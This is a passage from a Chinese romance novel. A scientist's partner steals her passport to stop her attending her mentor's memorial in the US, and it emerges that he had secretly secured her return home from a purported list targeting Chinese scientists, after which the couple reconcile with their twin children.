方楷莹沉吟片刻,把脸捂进手心,说:“他真的能帮助安妮吗?” “能。”甄世明肯定地说:“远征集团是在美国做大做强的,他在那边有点儿人脉,况且你的朋友只是一个小研究员” “你这话是什么意思?” 方楷莹不懂为什么甄世明在帮忙的同时,好像还很看不起只是个研究员的安妮,讲话颇有种杀鸡焉用牛刀的感觉。 “我没什么意思,你别多想。”他把方楷莹搂进怀里,下巴抵住她的发顶,安慰道:“你现在太累了,需要休息,明天我送孩子去幼儿园,你在家里休息几天。” 方楷莹确实不太清醒,脑子一团浆糊,躺在床上却睡不着,闭上眼睛脑海里全部都是玛丽杨教授的音容笑貌。 她在美国的这些年,教授给了她很多帮助,像对待女儿一样对待她。 教授是美籍华裔,知道华人在国外生活艰辛,方楷莹又是初来乍到,没交到朋友的时候经常一个人在实验室吃快餐,她就把方楷莹带回家吃饭,方楷莹也经常在她家留宿。 玛丽杨教授没有孩子,但热爱生活,做了一手好中餐,她们都对科研工作有一腔热忱,共同话题很多,会从晚餐聊到深夜,再给方楷莹做点儿夜宵吃。 她和她的丈夫都愿意听方楷莹讲中国的事,讲中国科学界现如今的发展,虽然微电子专业还受限,但其他学科的发展都很迅速,在追赶着进入世界前列。 问起方楷莹以后想在哪里发展,方楷莹深刻思考一番说:“我还是想回国,但要等到自己真的学到东西,可以帮助国家发展的时候再带着成果回国,也许那时我也四五十岁了。” 玛丽杨教授并不这么认为,说:“如果国内的硬件条件可以再好一点,支持研究的力量再大一点,你就可以回去了,你现在的知识架构已经稳定,我能做的就是给你铺路,以后的研究还要你自己来做,你很聪明,我想以后不论在哪儿,都会有一番成就。” 她不是个吝啬的人,也很愿意接触国内的学者,早在方楷莹出国前,她就和甄真教授有过联系,帮甄真教授的论文提供过数据,但却不愿意在论文署名,她谦虚地说自己没帮上什么忙。 方楷莹想不通,这样一个人怎么会自杀? 隔天方楷莹去实验室,这个震惊业界的消息已经在研究院广泛传开,国内的人们把目光投向方楷莹,甚至专程前来慰问,毕竟她是玛丽杨教授的亲传弟子。 方楷莹知道有些人过来是真诚安慰,有的人则是想来探听消息,她不想见人应付,吴忧通通替她挡在门外。 她在实验室照常处理一些日常事务,下午又找到新任副院长,对她说明原因,请她帮忙拿回护照。 新任副院长对此表示理解,说了一些情真意切的安慰话语,也答应帮她拿回护照。 “你真的决定要去吗?”副院长脸色担忧。 方楷莹点点头,说:“我应该去参加追悼会,所以请您尽快帮我拿护照。”- 那几天,方楷莹寝食难安。 就连小孩子都看出她心不在焉,橙橙和芯芯放学之后,排着小队走出校园,一眼就看到妈妈站在路边,孩子们站在队伍里挥舞着小手喊妈妈。 方楷莹却没有任何反应。 直到橙橙叉着腰站在她眼前,圆圆的小嘴嘟成“O”型,喊道:“方、楷、莹!” 她才猛地回神,勉强笑笑,在小男孩儿脑门儿上轻轻弹了一下。 橙橙用小手紧捏住方楷莹的手指,“妈妈,你得把我们的手手握紧,不然我们会被坏人带走哒~” “你不乱跑就好。”方楷莹俯身刮了刮他的鼻尖。 芯芯不知从哪里捡来根棍子,递给哥哥说:“哥哥,我们也要保护妈妈呀!爸爸总说外面坏人有很多,如果有坏人欺负妈妈,你就去把坏人打倒!” “那你呢?” “我喝牛奶放响屁吓倒坏人!” 两个孩子叽叽咕咕地笑着,方楷莹却再次走神,芯芯揪住她的衣角,停下脚步说:“妈妈,我们的车在这里呢。” “哦哦。”方楷莹这才回过神来- 两三天之后,新任副院长把方楷莹的护照送到实验室,方楷莹把吴忧叫来,嘱咐了几句,就在网上订了最早去往美国的机票。 那晚她回家简单地收拾行李,没准备太多东西,只拿了一个旅行袋,装好放进衣柜里。 甄世明出去应酬很晚,孩子睡下他才回来,外套上附着浓烈的红酒味,一进门就抱住方楷莹,在她脸上摸来摸去,又把唇印在额头。 方楷莹赶他去洗澡,他从浴室出来之后,摸着黑躺进被子里,翻身把方楷莹揽紧在怀,捏住她的手指把玩,醉意悠悠地说:“我现在每天都感觉像在做梦一样,方楷莹你能不能打我一巴掌?让我知道我不是在做梦。” “我定了明天的机票,去美国。” 无形的巴掌抽在甄世明脸上,他的酒意瞬间清醒,坐起身沉默了会儿,黑暗中他的眼眸深邃,透着说不清道不明的情绪。 “不行。”他说。 第65章 “不行。” 甄世明掀开被子, 直直坐起身。 “为什么?”方楷莹不解。 他眉心紧敛,目光微动,“我一个人没办法照顾两个孩子, 橙橙和芯芯也离不开你。” 方楷莹:“?” 这五年不都是他一个人照顾? 她也坐起, 把自己的被子匀给甄世明一点,说:“我想去参加玛丽杨教授的追悼会, 实验室那边已经安排好了, 我只去一周,你辛苦一点?马上换季了,你有时间的话把孩子的换季衣服找来。” 甄世明忽然高声:“我说不行!” “你小声点儿”她伸手去捂嘴, 这里不是山顶别墅, 他们与孩子只隔了两道门。 方楷莹问道:“你是在担心汪先生吗?虽然他也会去参加追悼会, 但我们不会发生什么的,追悼会结束后我就回来, 我买的是往返机票。” 她想着甄世明肯定是担心他们旧情复燃,很有耐心地哄着他, 一下下轻抚肩膀安慰他。 甄世明眉头紧皱, 看着她那顺毛撸狗的动作,忽然问道:“方楷莹, 你爱我吗?” “你怎么忽然问这个?”方楷莹顿住动作, 心却猛地跳了一下。 甄世明把她的手包进手掌之中握紧, “如果你不爱我,那你也一定爱孩子吧?橙橙和芯芯不想和你分开, 你不能再抛下他们。” 方楷莹更疑惑, 他说得好像她一去不回了似的,“你这是说什么话?我只去一周,我——” “我不允许你去!”他像是酒彻底醒了, 也像是人彻底疯了,暴戾的眼神死盯着她,不管不顾地说:“你已经回国了,那边的一切都和你没有关系!你不能再抛下我们离开!” 方楷莹一下子被他激恼,皱起脸说:“我在好好跟你谈,你不想好好谈就闭嘴。” 她一赌气,抬手将床头灯关掉,翻身背对甄世明,把被子也全部扯过去不给他盖。 甄世明不依不饶,长臂一伸又把灯按开,立体的眉弓下一双怒眼看着她,“你听明白我的话了吧?!还是你已经都决定好了,行李收拾完了,才想起来要通知我一声。” 她抬手又把灯按灭,身子也挪远些,在暗色的房间里赌气道:“我机票都买好了,起码这次我通知你了。” 床头灯再次亮起,甄世明用力扳过她的肩膀,屈膝跪骑在她身上,居高临下看着她,唇角泛起自嘲的笑弧,凶巴巴地说:“那我是不是还得谢谢你啊?!和五年前一样,我又是最后一个知道你要走的人,是么?” “我真没心情跟你翻旧账!”她也大喊出声,这几天的压抑心情却仿佛找到了一个宣泄的出口,心里的压力和痛苦都好像随之减弱些许。 他喝了酒,力气大到按住肩膀时她也会痛,不管怎么扑腾手脚他都纹丝不动,一双猩红的眼带着恨意盯住她,“我不可能让你再抛下我!方楷莹,我现在都不奢求你爱我,只是想让你别离开我,这对你来说很难做到吗?!” 深埋的记忆在争吵中松土而出,方楷莹又想起生孩子那天,他也对她这么说,这么多年,她一直记得。 他好像变了,又好像一点儿都没变。 简直不可理喻! “你一点儿都没变。”方楷莹冷淡的目光回视,不退不让地与他眼神交锋,“我还以为你变了,但你只是伪装得好,让我再次信任你,说什么‘相对自由’,这就是你让我‘相对自由’吗?” “那这就是你说的要和我纠缠一辈子吗?”甄世明恨恨道:“方楷莹,你想来就来想走就走,是要逼死我吗?!” 两人在床上扭斗,方楷莹力量单薄,挥出一肘就被甄世明攥住小臂,甄世明俯身强吻,就被狠咬了舌头,弄得两败俱伤,却依然不死不休。 卧室房门响动一声,两人同时停下动作,目光齐齐向门口投去。 橙橙和芯芯肩并肩站在门口,窘促地向床上张望,黑葡萄般的眼睛里包着眼泪,“爸爸妈妈,你们…在打架吗?” 在孩子的眼中,爸爸骑在妈妈身上,爸爸的后背出了汗,妈妈扑腾着手脚挣扎,在门外就听见吵架的声音。 甄世明与方楷莹对视一眼,松开紧攥的手腕,从她身上下来,坐在床边一言不发。 孩子可怜兮兮地赤脚站在地上,方楷莹立刻下床,顾不得凌乱的头发,捏了捏小孩儿的脸,故作轻松地说:“我们没有打架,我们是闹着玩儿,吓到你们了?” “我们都听到了。”孩子并不买账,哽咽着说:“妈妈,你要去哪里?” “妈妈只是出差,像上次去部队一样,出门时间比上次还要短一些,橙橙和芯芯都是乖孩子,会在家里好好等我回来的,对吗?” 橙橙和芯芯先看了一眼爸爸,他们的爸爸坐在床边,眼睛通红,默然无语。 “真的吗?”芯芯惴惴不安地问:“妈妈,你不会不要我们吧?” 方楷莹狠狠瞪了一眼甄世明,蹲下身揽住两个将要落泪的孩子,在孩子们柔软的脸蛋儿上各亲一口,说:“妈妈很爱你们,会一直陪橙橙和芯芯长大的。” 橙橙抱住她,“那妈妈你别走好不好?” 方楷莹:“” 她把求助目光投向甄世明,一般情况下,他都会帮她解围,但现在他只是冷眼看着,仿佛希望孩子的眼泪能真的留住她。 方楷莹求助无果,眼前又是两个即将哭出声的孩子,干脆牵起孩子们的小手,带着回去儿童房,把门关上,坐在小孩中间,耐心地坦白:“妈妈的老师去世了,妈妈想去参加追悼会,我只去一周就回来,好吗?” 孩子明显比爸爸更通情达理,芯芯小声地问:“是教妈妈读书的幼儿园老师吗?” “算是吧。”方楷莹并不想和孩子们聊这样沉重的话题,五岁的孩子或许并不清楚死亡的真正含义。 但让她意外的是,她的孩子们张开手臂,一左一右地抱住了她,模仿着她平时哄睡的动作,轻轻拍打她的后背。 橙橙说:“我们的太奶奶也去世过,他们都说太奶奶去了很远的地方,但小姑姑告诉我们,去世就是死亡,是身体不会和我们团聚了,之后我就再也没见过太奶奶。妈妈,你很伤心吧?” “爸爸说,死亡是悲伤的事,但不是可怕的事,虽然身体不能和我们团聚,只要我们还记得亲人,他们就一直在我们的脑袋里活着。”芯芯把脸埋进方楷莹的怀里,哭着说:“所以妈妈不要害怕,只要一直记住老师” 方楷莹早已泪流满面。 直到孩子们用睡衣衣袖为她擦去眼泪时,她才意识到自己哭了,连她自己都感到诧异,与孩子相处的这段时间,她好像真的学会了表达情感,也好像真的学会了体会感情。 母子三人大半夜抱头哭泣,孩子哭累了睡在床上,她也不想再回卧室看甄世明的臭脸,和芯芯挤在儿童床的下铺。 半夜她睡不着,把手臂垫在后脑,侧眸看了看旁边熟睡的孩子,小孩儿稠密的睫毛上还挂着一滴晶莹的泪珠。 她实在想不通,为什么甄世明教育出的孩子却比他本人还更有同理心?- 转天,她把孩子早早叫醒,甄世明也早早醒来,却不和她说话,她也懒得搭理他。 两人各自照顾孩子洗漱和吃饭,在小平米的厨房里狭路相逢,方楷莹想起昨天吵架的事,故意挥肘攮在他的肋骨,他皱了皱眉,依然拒绝说话,不和她吵架,也不再挽留她。 他好像忽然变成了沉默的方楷莹。 吃过早餐,方楷莹拎出旅行袋,拉着孩子的手走出家门,把孩子顺利送到幼儿园,在小男孩额头各亲一口道别,又开车前往机场。 到达机场后,方楷莹翻遍旅行袋,也没找出护照来,恍然大悟——怪不得这个混蛋早上不和她吵架了。 气质清冷风姿傲骨的方教授在机场对着手机破口大骂:“甄世明,你有病吧!我告诉你,飞机马上要起飞了,你现在不把护照给我送来,你就从我的家里滚出去!我不是在跟你开玩笑,我等会儿我有电话进来,半小时之内我要见到我的护照!挂了!” 她胸腔上下起伏,接起汪先生的电话时愤怒情绪还有余波,对着电话那头喊:“说话!” 电话那头沉默几秒:“你和甄世明在一起之后,脾气越来越暴躁了” 方楷莹:“抱歉。” “没关系,”汪先生短短叹气,又问:“我听安妮说你要来参加追悼会,已经坐上飞机了吗?” 方楷莹:“…还没有。” “那就好。”汪先生说:“楷莹,我很想见到你,但你听我一句劝,把机票退掉,不要到这里来。” 方楷莹眉头敛紧,觉得男人们都莫名其妙,忍不住问:“为什么?” 汪先生沉默一会儿,说:“因为这边局势对你不利。我最近打探到一些消息,早在我们回国之前,司法部就颁发了一项叫做‘中国行动计划’的政策,美其名曰打击知识产权盗窃,主要针对的是学术界,是与中国有联系的华裔科学家,这场行动更像是…华裔科学家清算计划。” “不管是不是中国国籍,只要是在高精尖的科技领域有成就的华裔科学家,都被视作国家安全的威胁者,都在清算范围之内。” “他们有以莫须有的罪行强制关闭实验室,绝不允许玛丽杨教授今后从事相关领域,教授是因为无法接受这种事实,所以…选择了自杀。我从一个朋友那里得到了内部流出的清算名单,虽然不知真假,但那份名单上的科学家最近都相继出事…” 方楷莹彻底愣怔,机场中的鼎沸人声瞬间在她耳边消失,大洋彼岸的声音在电话中异常清晰:“那份名单上,有你的名字。” 第66章 “玛丽教授的丈夫说这边形势不好, 请你一定不要来参加追悼会,明哲保身最重要。”汪先生言辞恳切地说:“你能够在展开调查前回国,这本身就很幸运, 不要犯倔, 好吗?” 沉默的方楷莹并不这样认为。 从小她就是个倒霉蛋。五岁爸爸离家,差点被妈妈弃养, 得了概率很低的罕见病, 同龄的孩子说她性格“奇怪”,没人愿意和她玩儿,谈恋爱也不顺利, 遇到最不要脸的混蛋, 他哄她、骗她、伤害她, 却也让她如今完完整整地站在他眼中。 他们在川流熙攘的人群中静止、对望,甄世明穿挺括有型的风衣, 双手插进侧兜,里面有她的护照。 他玩世不恭地抬眉, 这一副桀骜表情她从十七岁看到现在。 甄世明也知道自己一如既往欠揍, 如果方楷莹敢过来扇他巴掌,他一定报警把她抓起来, 让警察把她关进看守所, 如果这是个留住她的好办法 她拎起旅行袋向他走来, 脸上的表情他看不明白,但他已经做好挨巴掌的充分准备, 轻轻闭上眼睛, 从容就义模样。 他听见旅行袋重重掉在地上,嗅到她身上的香味,感觉到她的双手穿过臂弯, 轻轻抱住了他。 甄世明动作定格,不敢置信地睁开一只眼睛,担心这只是她施行暴力前迷惑敌人的假动作,可她又抱得更紧了些。 甄世明身体僵住,连屈臂回抱都做不到,心里盘算她到底憋着什么大招,警惕道:“你抱我我也不可能给你护照,就算当众亲我” 方楷莹缓缓仰头,踮起脚尖,嘴唇在男人绷紧的下颌轻飘飘地贴了一下。 甄世明喉结滚咽:“又犯病了?” 方楷莹抿抿唇,说:“先回家吧。” 她一边平稳地开车返回,一边想起曾经温文对她说的话。 “你是个很有背景的女人,你的资料我们全部都掌握,包括你是怎么回国的” 她竟然当时没有听出言外之意,还傻乎乎地回答自己是坐飞机回来的,现在再看后视镜,甄世明的车一直跟在她的车后,像是为她保驾护航。 方楷莹前脚进家门,甄世明后脚就提着她的旅行袋开门。 她端正地坐在沙发,盯着看他一会儿,问:“你有没有什么想和我坦白的?” 甄世明脖子一梗,一副要杀要剐都无所谓的样子,“护照是我昨天晚上偷的,但你不能怪我,谁让你总是把行李藏在衣柜,我一下就找到了” “我问的不是这个。”方楷莹给他一些提示:“我是怎么回国的?” 甄世明:“”- 一切要从方楷莹回国前的那个冬天说起。 当时甄世明的耀夜新材公司刚上市,也拓展了更多业务,需要继续接纳更多人才。 猎头公司为他寻找新部门的工程师,HR把一沓简历交给他审阅。 甄世明翻阅这些简历,呵笑一声,随口问道:“这么多从美国回来的科学家?这帮人能力这么强,怎么着也混到发达国家的中产了吧,怎么突然一窝蜂都回来了?” HR向他汇报:“现在国际局势紧张,大概是听到风声的科学家出逃了” 甄世明向来敏锐,抬起眼皮问:“什么风声?” “听一个刚回国的科学家说,那边现在正部署行动,好像是关于华裔科学家的,尤其是和中国来往密切的,拿着美国人的钱,为中国提供技术支持,总有一天是要被清算的” “可能是类似于1882年《排华法案》那样的政策,只不过当年对待劳工是禁止入境,如今对待科学家…也许禁止出境?嗅觉敏锐的聪明人都回来了,一旦政策真正出台,可能想回都回不来。” 他不懂学术,却很懂政治。 一旦开始清算,必有冤假错案。 签字笔在他手里转了又转,他忽然烦躁,再也无法认真把简历看下去,这件偶然得知的事情一直在他脑海中盘旋,直到深夜都无法入睡。 那时候他过着平静正常的生活,早已习惯没有方楷莹在身边的日子,一度认为自己已经放下了,但那天晚上他翻来覆去睡不着。 往左边翻身想的是:这和我有什么关系,是她要自由,她都不管我不管孩子,她是死是活跟我有什么关系? 往右边翻身想的是:这个笨蛋肯定还不知道这回事,就算知道了也不懂明哲保身,大概还会幻想和流氓讲道理…这个笨蛋! 他翻来覆去的动作吵到身边睡觉芯芯,孩子在睡梦中用小手推他一下,半梦半醒的小奶音含含糊糊:“爸爸,你不要在床上转圈了。” 他轻轻拍打孩子的后背重新哄睡,芯芯睡着后,他蹑手蹑脚下床,半夜拨了几通电话,要了解这行动的前因后果。 甄世明想知道的事总有办法知道,不出几日,他的办公桌上就放了全英文的涉密文件。他仔细研究,凭借着多年的政治敏感性发现其中端倪,虽然当时还没有具体名单,但他已然预料到事情会朝着什么样的方向发展。 晚上更睡不着了。 但他依然纠结,依然接连失眠,直到手中拿到还未审批通过的名单,上面赫然出现方楷莹的名字,他突然发现自己的手竟然微微颤抖。 那天他彻底慌了神,不分时间不讲礼貌地在半夜拨打无数通电话,几乎动用自己所有的人脉,并在凌晨四点披着浓重夜色出门,直奔军区疗养院,在爷爷房门外双膝下跪。 而千万公里之外的方楷莹毫不知情,刚吃过午饭,孤独地走在返回实验室的路上。 — 这场跨国的“营救”行动从远征公司接触玛丽杨教授开始,到甄家推动人才归国计划落实结束。 期间甄世明三次联系玛丽杨教授。 一次说明来意。他坦诚告知与方楷莹的关系,教授沉默片刻后,说她知道方楷莹生过两个孩子,想替方楷莹问问这两个孩子好不好,因为她看得出来方楷莹很想念孩子。 这倒让甄世明很触动,他原本以为方楷莹出国后会极力隐瞒过往,也根本不幻想方楷莹会在别人面前提及他。 玛丽教授说:“我们有时会在我家里吃饭,再喝一点酒,她酒量不好,微醺之后经常会提起孩子,还有她在中国的恋爱故事。” “她怎么说我?” “……说你的病情不容忽视。” 甄世明:“……” 一次郑重提醒。他说那边已经开始正式行动,科学家们的实验室陆续出现基金撤退的情况,希望玛丽杨教授早做打算,如果愿意相信他,相信甄家的力量… “不用了,这件事我有考量。我的研究正处于关键阶段,不可能离开实验室,如果基金撤退我会自己想办法,而且我已经在这里生活了几十年,亲人和朋友都在这边。” “我知道你想让方楷莹回国,如果真有更好的机遇,我想她也愿意回国,毕竟有孩子…” 甄世明在电话中沉默良久,“她大概非常恨我,如果我说让她回国,会起到反效果,所以我才频繁地联系您,而且您也知道她是个很倔的人,您不走她一定也不会走…” 玛丽教授叹息一声,说:“我会让她走。” 最后一次通话时,方楷莹已经坐上回国的飞机,甄世明在表达感谢的同时再次提出帮助玛丽教授回国,但她依然拒绝。 甄世明焦急万分,再三游说:“这个行动计划不是您想得那么简单,政治斗争下,科学家也会沦为牺牲品,名单里已经有一位科学家被捏造的罪名判刑,我现在是为您的人身安全担忧……” “甄先生,我已经考虑得很清楚了,我不是不知道局势危险,但实验室是我一手建立的,我这一生都没有孩子,我的实验室、我的成果、还有我的学生,我把他们都当做我的孩子。” 玛丽教授的声音沧桑且疲惫,但语气始终坚定:“我愿意保护方楷莹,因为她是我的孩子,我也愿意与我的实验室共存亡,假如灾难真的发生时,您会抛下自己的孩子吗?” 甄世明沉默无言。 “楷莹是我最骄傲的学生,我们之间感情深厚,所以如果之后有不好的消息传回国内,请你劝解宽慰她,让她不要冲动行事” 最后一通电话就此挂断,甄世明站在候机厅的落地窗前,远远望着窗外的飞机降落、滑行、停稳。 方楷莹走出机舱,身上穿简单的t恤牛仔裤,外披一件朴素的墨绿色风衣,脸上没什么表情,看起来冷淡又疏离。 当然这些都不重要,重要的是他们的脚下又是同一片安宁的土地。 她茫茫然看着周遭环境,这几年京市发展迅速,那种翻天覆地的变化是从走出机舱就能强烈感受的,她有些不太适应,企图在这陌生中寻找一丝熟悉。 坐上摆渡车,汪先生挽住她的手,发现她看着候机厅的落地玻璃走神,问她在看什么,她说没什么。 只是 站在窗前的那抹身影,挺熟悉的。 方楷莹揉了揉眼睛,发现手背一片湿印,旁边递过一张纸巾,她攥进手里擦干眼泪,问:“你为什么不早告诉我这些?” “你这个人,思路一向很怪,我不能确定你会是什么反应,如果我当时出现在你面前和你说这里很危险,要带你走,你会和我走吗?” 方楷莹垂下眼眸,摇头。 甄世明轻轻揉了下眉心,沉声说:“我也怕你觉得研究院是因为甄家才邀请你回国的,你知道现在你的专业有多么受限于国外,研究院确实想邀请你回国,只是一层层上报流程会很慢,甄家只是推动了计划的落地,因为我等不了那么久。” “我又怕你觉得我用尽手段让你回来是占有欲在作祟,说实话,方楷莹,我对你早就没有什么占有欲了,我也早就习惯一个人带孩子的生活了,很多时候我都不会想起你,我只是不能让我的孩子没有妈妈,觉得你起码应该活着。” 他也不知何时变成左顾右盼的胆小鬼,对方楷莹的期望也从爱他一辈子变成了活着就好。 正因了解方楷莹,知道她的梦想和自由比什么都重要,也知道如果方楷莹被带走软禁、被勒令不能再从事相关研究,她会做出什么事情——她的反抗精神会让她在抗争中丢掉性命。 而他原本只要方楷莹好好活着。 甚至在方楷莹回国之后甄世明没有立刻与她见面,方楷莹忙着办理手续,忙着接受采访,忙着各地讲座,他又重新回到自己的生活中。 如果不是秦赫与蓝梦结婚,他恐怕真的不会主动打扰她的生活,但只要一见面,哪怕她什么都没说,只是安安静静地坐在他对面,他所有的想法都变得不一样了。 他还是想靠近她、触碰她、纠缠她。 “所以我今天不会给你护照,明天也不会,虽然你很讨厌那句话,但我还是要说,你哪儿都不能去,就在我身边好好呆着,我——” “你爱我?”方楷莹忽然问道。 问题来得猝不及防,甄世明脸色微变,扬起下巴高冷,“我想说的是‘我要是能让你在我眼皮子底下出国,我跟你姓’” “你爱我。”她认真陈述。 方楷莹眼神定定,仿佛脑中忽然通透,终于开始理解复杂的感情,确定他做了这么多事,不是因为恨她,而是因为爱她。 甄世明眉心紧拢,“不、我恨你。” 方楷莹眨眨眼,又摇头,纠正眼前这个口是心非的人,“你爱我。” “我恨你。”甄世明扭脸不再看她。 一直以来,在他和方楷莹之间,承认恨可能要比承认爱更轻松,他的爱,总会让她想逃。 甄世明秉持着居高临下的傲慢,混不吝地说:“你别以为我为你做这么多是因为一直放不下你,我只是看在孩子的份儿上,现在我也是无所谓的状态,是你说要和我纠缠一辈子,我当然就抱着占便宜的心态,能多睡几次就多睡几次,反正我不吃亏——” “我爱你。”她说。 甄世明的破嘴终于停下,犹疑自己听错,嘴唇动了动,问:“你说什么?” “新泽西州的过山车世界最高,俄亥俄州有全球最快最长的双翼过山车,北卡罗来纳州的过山车与地面几乎是直角,号称地球最恐怖——” “叽里咕噜说什么呢?”甄世明急了:“我是问你刚才说什么?你是不是说你爱我?你把刚才的话重复一遍,上上句!” 方楷莹顿了顿,说:“赵医生的论文里写述情障碍可以用刺激体验的方法治疗,认为我们谈恋爱的感觉和过山车项目的治疗效果是等同的,出国之后,我的病情好像也回归到认识你之前那样,我经常感觉不到别人的情绪,也很难感知自己的心情。” “我对她的实验存有疑问,只是想找出个确切的答案,我把美国境内的过山车全坐了一遍,直到坐完最后一次,也就是号称地球最恐怖的Fury 325。从那以后,我不再轻易相信研究成果和权威论断。” “因为我每一次坐过山车,都心如止水。”她抿唇,始终冷淡的面容出现一丝可以被察觉到的悲伤,“你可能会觉得可笑,因为我在离开你很久以后,才在一次次的实验中逐渐确定,我对你的感情,就是爱情。” 甄世明很久说不出话,眼睛空洞洞地看着她,早已忘了应该做什么表情和动作。 方楷莹落眸,指甲掐进手心,垂头低声说:“当时的情况下,我已经不能再和你分享这个结论,回国之后,你又总是说恨我,我没办法分辨你还对我有没有感情,所以一直藏在心里。就算是现在,我也不知道这个时机说出来合不合适,可能如今说什么都弥补不了这五年,已经太晚了——” 话没说完,甄世明紧紧抱住了她。 他说:“不晚。” 作者有话说:爱来爱去的,真好。[害羞] 第67章 方楷莹蜷缩在温热的怀抱之中, 内心熨贴又安稳,只是甄世明搂得太紧,勒得人喘不过气也按疼她的肩膀, 但她一声不吭, 把他也抱得更紧。 甄世明发现她在怀里偷偷吸气,再低头看, 那淡秀的五官皱在一起, 眼尾挂着生理性的眼泪,他立刻松开手,在额头轻轻吻了一下, “我又把你弄疼了?” 方楷莹:“嗯。” 他捧住方楷莹的脸, 用指腹抹去眼角的泪痕, 英挺的鼻梁轻蹭她的颊面,说:“如果下次我弄疼了你, 你一定要告诉我,以前我对不起你, 以后我会改, 你想让我怎么改我就怎么改,只是, 你能不能别总想着离开我?” “那如果你总是不改呢?”方楷莹耷着眼尾, “我也不能离开你吗?” “如果我总是不改, 你就一脚把我踹开,带着儿子远走高飞。”他举手发誓:“但我不会的, 以前我不知道你想要什么, 总觉得我给你的就是最好的,现在我知道错了,我们重新开始, 这次我不会让你失望,好吗?” 太过年轻的时候,方楷莹不懂爱,甄世明不懂怎么爱,做了太多伤害彼此的事,时间催人成长,三十岁是个很神奇的年纪,有的人觉得青春已逝,凡事该拘谨审慎才显成熟,有的人觉得一切才刚刚开始,自然要天雷地火般的再纠缠一次。 方楷莹重重点头,重新被他拥入怀中,这一次,他没让她觉得疼- 这几天都不曾顺利入眠,方楷莹在甄世明怀里好好睡了一觉,睡醒之后又和他一起去接孩子放学。 他们远远看着橙橙和芯芯手牵着手从幼儿园走出来,两个小孩知道妈妈今天远行,一想到几天都见不到妈妈就情绪低落,行走的脚步拖沓,小嘴撅起来更是能挂油瓶。 但见到爸爸和妈妈肩并肩站着等他们,眼睛一下子亮起来,可爱的小脸也绽开笑容,一路甩着书包小跑而来,急刹在她面前,问:“妈妈,你不是去了外国吗?” 方楷莹眉眼浅淡地笑笑,认真对孩子说:“我不走了。” 道路边的悬铃树已是盛绿,天边挂满粉色烟霞,晚高峰的车水马龙拥挤热闹,她和甄世明一手牵一个孩子,走在回家的路上。 由东而来的柔风将她的发丝吹起,轻轻拂过脸颊,好像一双轻柔的手抚摸,提醒她留意这普通的一天。她停下脚步,一滴眼泪滑过脸畔,为自己也能感受到这细腻的幸福而猝然伤感。 安定、祥和、繁荣。 这是她所处的人间。 “妈妈为什么哭?”孩子天真地问。 她脸上挂着泪,唇边牵起笑容,“因为我知道有很多的人爱我。”- 回家之后,孩子们脱掉外套喊热,甄世明递给她三盒冰激凌和三个小勺子,说:“三个小孩儿一起吃。” 方楷莹可不是小孩儿,起码她吃冰激凌时坐得端端正正,而真正的小孩儿边吃边扭屁股,人像弹力球似的,不能好好坐在沙发一会儿会儿。 甄世明在厨房做晚饭,橙橙和芯芯轮流跑过去,一会儿你喂爸爸一口,一会儿我喂爸爸一口,他一边忙着做饭一边还得俯腰张嘴接受投喂,忙得不亦乐乎,喊道:“方楷莹!” “啊?”她咬着勺子回应。 “你过来。” “哦。” 她端着半融化的冰激凌走过去,甄世明开口便问:“你怎么回事儿?” “我怎么了?”方楷莹不解。 甄世明冲她的冰激凌扬下巴,“你怎么一个人吃,不想着过来喂喂我?” 方楷莹: “” 她了一大勺,直愣愣地递到他嘴边,甄世明唇角浅弯,张开嘴要她喂,吃到之后嘴还不闲着:“我怎么感觉不甜呢?” 方楷莹懒得理他,转头就走,却被一把拉回,两片带着凉气的嘴唇在她的唇角贴了一下,方楷莹愣站原地,脸颊极速升温。 “这下甜了。”他痞坏地笑道。 两个小孩站在他们中间,也愣了一下,立刻用小手捂住眼睛,又叉开指缝,叽叽咕咕地笑着跑开,边跑边喊:“爸爸和妈妈亲嘴了!” 方楷莹羞极,捏着冰激凌小勺子在他肩膀捶了两下,“你这是干嘛?孩子还在呢” 甄世明揉揉肩膀,推着腰把她请出厨房,义正言辞说:“我这是让他们早点儿习惯,以后这种场景大概还会很多,爸妈亲嘴很正常!” 方楷莹:“” 晚餐做得简单,小孩儿们在饭前吃了一小盒冰激凌,现在坐在餐桌前吃得心不在焉,用筷子挑起一根青菜就啃半天,另一只手还在桌边瞎划拉。 “好好吃饭。”甄世明训道。 方楷莹看着孩子们恹恹吃饭的样子,忽然想起自己小时候也不爱吃饭,坐在凳子上,也是这种欠揍样子,难道这都遗传吗? 现在年纪不同身份不同,她一下子理解了妈妈为什么总在吃饭时生气… 确实看着来气。 所以她第一次不和甄世明唱反调,甄世明训孩子时她一声不吭,孩子们察觉到妈妈也不帮他们说话,也就直溜溜坐端正,捧着碗继续吃饭。 在饭桌上甄世明谈起橙橙芯芯即将上小学的事,说:“我问过了,隔壁愿意卖房,房子虽然不大,但是改装改装还能凑合当书房用。” “哦,那得重新规划一下。”方楷莹说。 “也不用,你这边格局不变,书房还在这儿,孩子们写作业用隔壁房子,分开你也不会觉得吵。”甄世明说。 一直吃饭的芯芯忽然弱弱地说:“爸爸妈妈,我不想上学。” 方楷莹、甄世明:“?” 橙橙也非常难为情地说:“弟弟想去工作,我也应该去工作。” 方楷莹挠挠眉角,她小时候可没有不爱学习,这点应该是遗传了甄世明,于是疑惑问道:“为什么不想上学,想去工作?” 橙橙抽抽鼻子,说:“爸爸,咱们家是不是破产了?我们两个不上学就可以省下学费…” 方楷莹也懵了:“你破产了?!” 甄世明撇撇嘴,方楷莹不知道怎么回事,但他知道,都说由奢入俭难,孩子们住上下铺的新鲜劲儿过了,开始想念大房子了,但迟迟不回山顶别墅,就觉得爸爸破产没钱了…… 芯芯转了转眼珠,用小手捅捅哥哥的腰,小声说:“哥哥,咱们不是说好不提这事嘛?” “我只是想知道以后是不是得卖玩具”橙橙表现出作为哥哥的担当,虽然眼眶里已经包着眼泪,还是哽咽着对爸爸说:“我的玩具很值钱,可以先卖我的,实在不行的时候,再卖弟弟的” 芯芯紧紧抓住哥哥的手,用哥哥的手背抹抹眼泪,低声哭问:“爸爸,以后是不是不能在家里开小汽车了?” 一个哭,另一个也哭,橙橙瘪着嘴问:“以后是不是不能邀请子涵来咱们家游泳了?” 两个小孩一边流着眼泪,一边懂事地说:“爸爸,我们两个都不念书了,我们明天就要出去找工作。” 孩子们的童言童语让方楷莹扑哧笑出声,甄世明一个眼神甩给她,让她严肃点儿。 他一本正经对孩子们说:“爸爸没有破产,我们是要在这个地方念小学才搬过来,为的是方便以后上学,这里是品质社区、南北通透、精英聚集、状元摇篮。你们想回山顶别墅可以假期回去,以后芯芯还可以在家里开小汽车,橙橙也可以再邀请子涵来游泳,谁都不用找工作,老老实实给我上学去!” 橙橙和芯芯对视一眼,噘嘴说哦。 